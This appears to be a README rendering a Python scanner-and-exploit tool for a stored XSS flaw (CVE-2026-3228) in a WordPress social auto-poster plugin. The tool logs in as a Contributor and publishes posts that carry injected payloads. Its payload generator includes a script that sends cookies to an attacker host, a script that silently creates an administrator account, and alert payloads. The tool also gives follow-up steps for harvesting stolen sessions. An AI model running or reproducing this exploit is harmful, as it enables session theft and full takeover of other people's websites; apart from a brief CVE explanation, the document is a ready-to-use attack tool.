README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-3228.py - NextScripts WordPress Plugin Stored XSS Scanner & Exploit
"""
import argparse
import requests
import sys
import re
import base64
import urllib3
from requests.exceptions import RequestException
from bs4 import BeautifulSoup
import warnings
import time
print("""
███╗░░██╗██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░░█████╗░░█████╗░ ░█████╗░██╗░░██╗
████╗░██║██║░░░██║██║░░░░░██║░░░░░╚════██╗██╔══██╗██╔══██╗ ██╔══██╗██║░██╔╝
██╔██╗██║██║░░░██║██║░░░░░██║░░░░░░░███╔═╝██║░░██║██║░░██║ ██║░░██║█████═╝░
██║╚████║██║░░░██║██║░░░░░██║░░░░░██╔══╝░░██║░░██║██║░░██║ ██║░░██║██╔═██╗░
██║░╚███║╚██████╔╝███████╗███████╗███████╗╚█████╔╝╚█████╔╝ ╚█████╔╝██║░╚██╗
╚═╝░░╚══╝░╚═════╝░╚══════╝╚══════╝╚══════╝░╚════╝░░╚════╝░ ░╚════╝░╚═╝░░╚═╝
CVE-2026-3228.py - NextScripts WordPress Plugin Stored XSS Scanner & Exploit
Vulnerability in NextScripts: Social Networks Auto-Poster <= 4.4.6 allows
authenticated attackers with Contributor-level access to inject malicious scripts
via the [nxs_fbembed] shortcode.
– NULL200OL-AI💀🔥created by NABEEL
""")
# Suppress SSL warnings for self-signed certificates
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
# ==================== CVE Information ====================
CVE_ID = "CVE-2026-3228"
CVE_DESCRIPTION = (
"The NextScripts: Social Networks Auto-Poster plugin for WordPress is vulnerable "
"to Stored Cross-Site Scripting via the [nxs_fbembed] shortcode in all versions "
"up to, and including, 4.4.6. This is due to insufficient input sanitization and "
"output escaping on the snapFB post meta value."
)
CVE_CAUSE = (
"The vulnerability stems from two fundamental security failures:\n"
" 1. Insufficient input sanitization - The plugin fails to properly sanitize the\n"
" snapFB post meta value when processing the [nxs_fbembed] shortcode.\n"
" 2. Insufficient output escaping - When displaying the content, the plugin fails\n"
" to escape the output, allowing injected scripts to execute in victims' browsers.\n"
"This combination allows malicious JavaScript to be stored in the database and "
"executed when any user (including administrators) views the affected page."
)
CVE_IMPACT = (
"An attacker with Contributor-level access can:\n"
" - Inject arbitrary JavaScript into WordPress pages\n"
" - Hijack administrator sessions when they view the page\n"
" - Create new admin accounts\n"
" - Install malicious plugins\n"
" - Deface the website\n"
" - Steal sensitive information including database credentials\n"
"The script executes in the context of the victim user, potentially leading to\n"
"complete site compromise."
)
# ==================== Configuration ====================
TIMEOUT = 10
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# WordPress login and post endpoints
WP_LOGIN_URL = "/wp-login.php"
WP_ADMIN_URL = "/wp-admin/"
WP_POST_NEW_URL = "/wp-admin/post-new.php"
WP_POST_PHP = "/wp-admin/post.php"
WP_REST_API = "/wp-json/wp/v2/posts"
class WordPressAuthenticator:
"""Handle WordPress authentication and session management"""
def __init__(self, target, username, password, timeout=TIMEOUT):
self.target = target.rstrip('/')
self.username = username
self.password = password
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({'User-Agent': USER_AGENT})
self.session.verify = False
self.logged_in = False
self.nonce = None
self.user_id = None
def login(self):
"""Authenticate to WordPress"""
login_url = f"{self.target}{WP_LOGIN_URL}"
# First get the login page to extract any nonces
try:
resp = self.session.get(login_url, timeout=self.timeout)
if resp.status_code != 200:
print(f"[-] Failed to access login page: HTTP {resp.status_code}")
return False
except RequestException as e:
print(f"[-] Error accessing login page: {e}")
return False
# Prepare login data
login_data = {
'log': self.username,
'pwd': self.password,
'wp-submit': 'Log In',
'redirect_to': f"{self.target}{WP_ADMIN_URL}",
'testcookie': '1'
}
# Extract redirect_to from the page if present
soup = BeautifulSoup(resp.text, 'html.parser')
redirect_input = soup.find('input', {'name': 'redirect_to'})
if redirect_input and redirect_input.get('value'):
login_data['redirect_to'] = redirect_input['value']
# Submit login
try:
resp = self.session.post(login_url, data=login_data, timeout=self.timeout, allow_redirects=True)
# Check if login was successful by looking for admin bar or dashboard
if 'wp-admin' in resp.url or '/wp-admin/' in resp.text:
self.logged_in = True
print(f"[+] Successfully logged in as '{self.username}'")
# Extract user info and nonce
self._extract_user_info(resp.text)
return True
else:
print("[-] Login failed - check credentials")
return False
except RequestException as e:
print(f"[-] Error during login: {e}")
return False
def _extract_user_info(self, html):
"""Extract user ID and nonce from page HTML"""
# Try to find user ID in admin bar
user_pattern = r'<li[^>]*class="[^"]*user-admin-menu[^"]*"[^>]*data-user="(\d+)"'
match = re.search(user_pattern, html)
if match:
self.user_id = match.group(1)
print(f"[+] Found user ID: {self.user_id}")
# Try to find a nonce (for future use)
nonce_pattern = r'name="_wpnonce" value="([a-f0-9]+)"'
match = re.search(nonce_pattern, html)
if match:
self.nonce = match.group(1)
print(f"[+] Found WordPress nonce")
def check_user_role(self):
"""Check if logged-in user has at least Contributor role"""
if not self.logged_in:
return False
profile_url = f"{self.target}/wp-admin/profile.php"
try:
resp = self.session.get(profile_url, timeout=self.timeout)
if resp.status_code == 200:
# Look for role indicators in the page
if 'Contributor' in resp.text or 'Administrator' in resp.text or 'Editor' in resp.text or 'Author' in resp.text:
# Check if user can access post editor
if self.can_access_editor():
return True
return False
except:
return False
def can_access_editor(self):
"""Check if user can access the post editor"""
try:
resp = self.session.get(f"{self.target}{WP_POST_NEW_URL}", timeout=self.timeout)
return resp.status_code == 200 and 'post-title' in resp.text
except:
return False
class CVEScanner:
"""Scan for CVE-2026-3228 vulnerability"""
def __init__(self, target, timeout=TIMEOUT):
self.target = target.rstrip('/')
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({'User-Agent': USER_AGENT})
self.session.verify = False
def check_wordpress(self):
"""Check if target is running WordPress"""
try:
# Check for WordPress identifiers
resp = self.session.get(self.target, timeout=self.timeout)
if resp.status_code == 200:
if 'wp-content' in resp.text or 'wp-includes' in resp.text or 'WordPress' in resp.text:
return True
return False
except:
return False
def check_plugin_version(self):
"""Check if vulnerable plugin is installed and get version"""
# Try to read plugin readme file
readme_urls = [
f"{self.target}/wp-content/plugins/social-networks-auto-poster-facebook-twitter-g/readme.txt",
f"{self.target}/wp-content/plugins/social-networks-auto-poster/readme.txt",
f"{self.target}/wp-content/plugins/nextscripts-social-networks-auto-poster/readme.txt"
]
for url in readme_urls:
try:
resp = self.session.get(url, timeout=self.timeout)
if resp.status_code == 200:
# Extract version from readme
version_match = re.search(r'Stable tag:\s*(\d+\.\d+\.\d+)', resp.text, re.IGNORECASE)
if version_match:
version = version_match.group(1)
print(f"[+] Found plugin version: {version}")
return version
# Alternative pattern
version_match = re.search(r'Version:\s*(\d+\.\d+\.\d+)', resp.text, re.IGNORECASE)
if version_match:
version = version_match.group(1)
print(f"[+] Found plugin version: {version}")
return version
except:
continue
# Try to find version in JavaScript files
js_patterns = [
f"{self.target}/wp-content/plugins/social-networks-auto-poster-facebook-twitter-g/NextScripts_SNAP.js",
f"{self.target}/wp-content/plugins/social-networks-auto-poster-facebook-twitter-g/js/nxs.js"
]
for url in js_patterns:
try:
resp = self.session.get(url, timeout=self.timeout)
if resp.status_code == 200:
version_match = re.search(r'version[:\s]*["\'](\d+\.\d+\.\d+)', resp.text, re.IGNORECASE)
if version_match:
return version_match.group(1)
except:
continue
return None
def is_version_vulnerable(self, version):
"""Check if version is <= 4.4.6"""
if not version:
return None
def parse_version(v):
parts = re.findall(r'\d+', v)
while len(parts) < 3:
parts.append('0')
return tuple(int(p) for p in parts[:3])
try:
version_tuple = parse_version(version)
max_tuple = parse_version('4.4.6')
return version_tuple <= max_tuple
except:
return False
def check_vulnerability_indicators(self):
"""Look for signs that the plugin is active and vulnerable"""
indicators = []
# Check if plugin files exist
plugin_paths = [
"/wp-content/plugins/social-networks-auto-poster-facebook-twitter-g/",
"/wp-content/plugins/social-networks-auto-poster/",
"/wp-content/plugins/nextscripts-social-networks-auto-poster/"
]
for path in plugin_paths:
try:
resp = self.session.get(f"{self.target}{path}", timeout=self.timeout)
if resp.status_code == 200:
indicators.append(f"Plugin directory accessible: {path}")
except:
continue
# Check for the shortcode in published posts
try:
resp = self.session.get(self.target, timeout=self.timeout)
if '[nxs_fbembed' in resp.text:
indicators.append("Plugin shortcode [nxs_fbembed] found in content")
except:
pass
return indicators
class CVEExploiter:
"""Exploit CVE-2026-3228 by injecting malicious script"""
def __init__(self, authenticator, target, timeout=TIMEOUT):
self.auth = authenticator
self.target = target.rstrip('/')
self.timeout = timeout
self.session = authenticator.session
def inject_payload(self, payload, post_title=None, post_content=""):
"""
Inject XSS payload via the vulnerable [nxs_fbembed] shortcode
Returns (success, post_id, post_url) or (False, None, None)
"""
if not self.auth.logged_in:
print("[-] Not authenticated. Cannot inject payload.")
return False, None, None
# Generate a default post title if not provided
if not post_title:
post_title = f"CVE-2026-3228 Test Post - {time.strftime('%Y-%m-%d %H:%M:%S')}"
# Construct the malicious shortcode
# The vulnerability is triggered through the snapFB post meta
# We need to inject the payload in a way that it gets stored and executed
# Method 1: Try to use the REST API if available
rest_url = f"{self.target}{WP_REST_API}"
headers = {
'Content-Type': 'application/json',
'X-WP-Nonce': self.auth.nonce if self.auth.nonce else ''
}
# Prepare post data with malicious shortcode
# The payload needs to be in the snapFB meta field
post_data = {
'title': post_title,
'content': post_content,
'status': 'publish',
'meta': {
'snapFB': payload # The vulnerable meta field
}
}
# Add the shortcode to content as well for demonstration
if '[nxs_fbembed' not in post_content:
post_data['content'] += f"\n\n[nxs_fbembed]{payload}[/nxs_fbembed]"
try:
# Try REST API first
resp = self.session.post(rest_url, json=post_data, headers=headers, timeout=self.timeout)
if resp.status_code in [200, 201]:
data = resp.json()
post_id = data.get('id')
post_url = data.get('link')
print(f"[+] Payload injected via REST API - Post ID: {post_id}")
return True, post_id, post_url
except:
pass
# Method 2: Fallback to traditional post creation
print("[*] REST API failed, trying traditional post creation...")
# Get the post editor page to extract nonce
try:
resp = self.session.get(f"{self.target}{WP_POST_NEW_URL}", timeout=self.timeout)
if resp.status_code != 200:
print("[-] Cannot access post editor")
return False, None, None
# Extract nonce
nonce_pattern = r'name="_wpnonce" value="([a-f0-9]+)"'
match = re.search(nonce_pattern, resp.text)
wp_nonce = match.group(1) if match else ''
# Extract post ID if editing
post_id_pattern = r'post=(\d+)'
match = re.search(post_id_pattern, resp.text)
# Prepare post data
post_action_url = f"{self.target}{WP_POST_PHP}"
post_data = {
'_wpnonce': wp_nonce,
'_wp_http_referer': '/wp-admin/post-new.php',
'user_ID': self.auth.user_id if self.auth.user_id else '1',
'action': 'editpost',
'originalaction': 'editpost',
'post_author': self.auth.user_id if self.auth.user_id else '1',
'post_type': 'post',
'original_post_status': 'draft',
'referredby': f"{self.target}/wp-admin/post-new.php",
'post_title': post_title,
'content': post_content + f"\n\n[nxs_fbembed]{payload}[/nxs_fbembed]",
'publish': 'Publish',
'meta': {
'snapFB': payload
}
}
# Add meta as form fields
# WordPress expects meta in a specific format
meta_data = {
'snapFB': payload
}
# Flatten meta for form submission
for key, value in meta_data.items():
post_data[f'meta[{key}]'] = value
# Submit the post
resp = self.session.post(post_action_url, data=post_data, timeout=self.timeout, allow_redirects=True)
if resp.status_code == 200:
# Try to extract the new post ID from the redirect
post_id_match = re.search(r'post=(\d+)', resp.url)
if post_id_match:
post_id = post_id_match.group(1)
post_url = f"{self.target}/?p={post_id}"
print(f"[+] Payload injected via traditional post - Post ID: {post_id}")
return True, post_id, post_url
else:
print("[+] Payload injected, but couldn't determine post ID")
return True, None, None
print(f"[-] Failed to create post: HTTP {resp.status_code}")
return False, None, None
except RequestException as e:
print(f"[-] Error during exploitation: {e}")
return False, None, None
except Exception as e:
print(f"[-] Unexpected error: {e}")
return False, None, None
def generate_payloads(self, payload_type='alert', custom_js=None, callback_url=None):
"""Generate various XSS payloads"""
payloads = {}
if payload_type == 'alert' or payload_type == 'all':
payloads['alert'] = '<script>alert("CVE-2026-3228 - XSS Vulnerability");</script>'
if payload_type == 'cookie' or payload_type == 'all':
payloads['cookie_steal'] = '<script>fetch("' + (callback_url or 'https://attacker.com/steal') + '?cookie="+document.cookie);</script>'
if payload_type == 'admin' or payload_type == 'all':
payloads['create_admin'] = '''
<script>
fetch("/wp-admin/user-new.php", {
method: "POST",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "action=createuser&user_login=attacker&[email protected]&role=administrator&_wpnonce="+document.querySelector("[name=_wpnonce]").value
});
</script>
'''
if payload_type == 'custom' and custom_js:
payloads['custom'] = f'<script>{custom_js}</script>'
if payload_type == 'html' or payload_type == 'all':
payloads['html_injection'] = '<img src=x onerror=alert("XSS")>'
return payloads
# ==================== Helper Functions ====================
def print_info():
"""Display detailed CVE information"""
print(f"\n[+] {CVE_ID} - NextScripts WordPress Plugin Stored XSS")
print("=" * 70)
print("Description:")
print(CVE_DESCRIPTION)
print("\nWhy it happens:")
print(CVE_CAUSE)
print("\nImpact:")
print(CVE_IMPACT)
print("=" * 70)
print("\nAffected Versions: All NextScripts: Social Networks Auto-Poster <= 4.4.6")
print("Required Privileges: Contributor-level access or higher")
print("=" * 70 + "\n")
def verify_wordpress_installation(target):
"""Quick check if target is WordPress"""
try:
resp = requests.get(target.rstrip('/'), timeout=TIMEOUT, verify=False)
if 'wp-content' in resp.text or 'wp-includes' in resp.text:
return True
return False
except:
return False
# ==================== Main CLI ====================
def main():
parser = argparse.ArgumentParser(
description=f"{CVE_ID} - NextScripts WordPress Plugin Stored XSS Scanner & Exploit",
epilog="Use 'info' command for detailed vulnerability information.",
formatter_class=argparse.RawDescriptionHelpFormatter
)
subparsers = parser.add_subparsers(dest='command', required=True, help='Subcommands')
# Info command
subparsers.add_parser('info', help='Display detailed information about the CVE')
# Scan command
scan_parser = subparsers.add_parser('scan', help='Check if target is vulnerable')
scan_parser.add_argument('target', help='Target WordPress site URL (e.g., http://example.com)')
scan_parser.add_argument('--timeout', type=int, default=TIMEOUT, help='Request timeout in seconds')
# Exploit command
exploit_parser = subparsers.add_parser('exploit', help='Exploit the vulnerability (requires valid credentials)')
exploit_parser.add_argument('target', help='Target WordPress site URL')
exploit_parser.add_argument('-u', '--username', required=True, help='WordPress username (Contributor+)')
exploit_parser.add_argument('-p', '--password', required=True, help='WordPress password')
exploit_parser.add_argument('--payload-type', choices=['alert', 'cookie', 'admin', 'html', 'custom', 'all'],
default='alert', help='Type of payload to inject')
exploit_parser.add_argument('--custom-js', help='Custom JavaScript payload (when --payload-type=custom)')
exploit_parser.add_argument('--callback-url', help='URL for cookie stealing payload')
exploit_parser.add_argument('--post-title', help='Title for the malicious post')
exploit_parser.add_argument('--post-content', default='This is a security test post.', help='Content for the post')
exploit_parser.add_argument('--timeout', type=int, default=TIMEOUT, help='Request timeout in seconds')
exploit_parser.add_argument('--no-verify', action='store_true', help='Skip WordPress verification')
# Check command (combination of scan + quick auth check)
check_parser = subparsers.add_parser('check', help='Comprehensive check with credentials')
check_parser.add_argument('target', help='Target WordPress site URL')
check_parser.add_argument('-u', '--username', required=True, help='WordPress username')
check_parser.add_argument('-p', '--password', required=True, help='WordPress password')
check_parser.add_argument('--timeout', type=int, default=TIMEOUT, help='Request timeout in seconds')
args = parser.parse_args()
# Handle info command
if args.command == 'info':
print_info()
sys.exit(0)
# Handle scan command
if args.command == 'scan':
target = args.target.rstrip('/')
print(f"[*] Scanning {target} for {CVE_ID}...\n")
# Check if it's WordPress
if not verify_wordpress_installation(target):
print("[-] Target does not appear to be a WordPress site.")
sys.exit(1)
print("[+] Target appears to be running WordPress")
# Initialize scanner
scanner = CVEScanner(target, timeout=args.timeout)
# Check plugin version
version = scanner.check_plugin_version()
if version:
print(f"[+] Plugin version detected: {version}")
vulnerable = scanner.is_version_vulnerable(version)
if vulnerable:
print("[!] Version is VULNERABLE (≤ 4.4.6)")
elif vulnerable is False:
print("[+] Version is NOT vulnerable (> 4.4.6)")
else:
print("[?] Could not determine vulnerability status")
else:
print("[?] Could not detect plugin version")
# Check for vulnerability indicators
indicators = scanner.check_vulnerability_indicators()
if indicators:
print("\n[*] Vulnerability indicators found:")
for ind in indicators:
print(f" - {ind}")
else:
print("\n[-] No obvious vulnerability indicators found")
print("\n[*] Scan complete. Note: This is a pre-authentication check.")
print("[*] To confirm vulnerability, you need valid credentials and use the 'exploit' command.")
sys.exit(0)
# Handle check command (comprehensive with credentials)
if args.command == 'check':
target = args.target.rstrip('/')
print(f"[*] Performing comprehensive check on {target}...\n")
# Verify WordPress
if not args.no_verify and not verify_wordpress_installation(target):
print("[-] Target does not appear to be a WordPress site.")
sys.exit(1)
# Authenticate
auth = WordPressAuthenticator(target, args.username, args.password, timeout=args.timeout)
if not auth.login():
print("[-] Authentication failed")
sys.exit(1)
# Check user role
if auth.check_user_role():
print("[+] User has sufficient privileges (Contributor+)")
else:
print("[-] User does NOT have sufficient privileges (need Contributor+)")
print("[-] Exploitation requires Contributor-level access or higher")
sys.exit(1)
# Check plugin version
scanner = CVEScanner(target, timeout=args.timeout)
version = scanner.check_plugin_version()
if version:
print(f"[+] Plugin version: {version}")
if scanner.is_version_vulnerable(version):
print("[!] Version is VULNERABLE (≤ 4.4.6)")
print("\n[+] Target appears EXPLOITABLE with current credentials!")
else:
print("[+] Version is NOT vulnerable (> 4.4.6)")
print("[-] Target is NOT vulnerable to CVE-2026-3228")
else:
print("[?] Could not determine plugin version")
print("[?] Manual verification recommended")
sys.exit(0)
# Handle exploit command
if args.command == 'exploit':
target = args.target.rstrip('/')
print(f"[*] Exploiting {target} for {CVE_ID}...\n")
# Verify WordPress if not disabled
if not args.no_verify:
if not verify_wordpress_installation(target):
print("[-] Target does not appear to be a WordPress site.")
proceed = input("[?] Continue anyway? (y/N): ")
if proceed.lower() != 'y':
sys.exit(1)
# Authenticate
print(f"[*] Authenticating as '{args.username}'...")
auth = WordPressAuthenticator(target, args.username, args.password, timeout=args.timeout)
if not auth.login():
print("[-] Authentication failed. Check credentials.")
sys.exit(1)
# Check user role
print("[*] Checking user privileges...")
if not auth.check_user_role():
print("[-] User does NOT have sufficient privileges (need Contributor+)")
print("[-] Exploitation requires Contributor-level access or higher")
sys.exit(1)
print("[+] User has sufficient privileges")
# Initialize exploiter
exploiter = CVEExploiter(auth, target, timeout=args.timeout)
# Generate payloads
print(f"[*] Generating {args.payload_type} payload...")
payloads = exploiter.generate_payloads(
payload_type=args.payload_type,
custom_js=args.custom_js,
callback_url=args.callback_url
)
if not payloads:
print("[-] No payloads generated")
sys.exit(1)
# Inject each payload
successful_injections = 0
for payload_name, payload_code in payloads.items():
print(f"\n[*] Injecting payload: {payload_name}")
print(f"[*] Payload: {payload_code[:100]}{'...' if len(payload_code) > 100 else ''}")
success, post_id, post_url = exploiter.inject_payload(
payload=payload_code,
post_title=args.post_title or f"CVE-2026-3228 Test - {payload_name}",
post_content=args.post_content
)
if success:
successful_injections += 1
print(f"[+] Payload '{payload_name}' injected successfully!")
if post_url:
print(f"[+] Malicious post URL: {post_url}")
print(f"[+] View this URL as an administrator to trigger the XSS")
if post_id:
print(f"[+] Post ID: {post_id}")
# If this is an alert payload, offer to open browser
if payload_name == 'alert':
print("\n[*] To trigger the XSS:")
print(f" 1. Visit: {post_url or (target + '/?p=' + str(post_id))}")
print(" 2. The alert box will appear if the vulnerability exists")
try:
import webbrowser
open_browser = input("\n[?] Open browser to trigger XSS now? (y/N): ")
if open_browser.lower() == 'y' and post_url:
webbrowser.open(post_url)
print("[*] Browser opened. Check for alert box.")
except:
pass
else:
print(f"[-] Failed to inject payload '{payload_name}'")
# Summary
print(f"\n{'=' * 50}")
print("EXPLOITATION SUMMARY")
print(f"{'=' * 50}")
print(f"Successful injections: {successful_injections}/{len(payloads)}")
if successful_injections > 0:
print("\n[!] NEXT STEPS:")
print(" 1. An administrator needs to view the injected post/page")
print(" 2. The JavaScript will execute in their browser")
print(" 3. For cookie stealing: set up a listener on your callback URL")
print(" 4. For admin creation: check for new admin accounts after admin views the page")
print("\n[!] CLEANUP:")
print(" Delete the test posts from WordPress admin to remove the payloads")
else:
print("\n[-] Exploitation failed. Target may not be vulnerable.")
sys.exit(0 if successful_injections > 0 else 1)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print("\n[!] Interrupted by user")
sys.exit(1)
except Exception as e:
print(f"\n[!] Unexpected error: {e}")
sys.exit(1)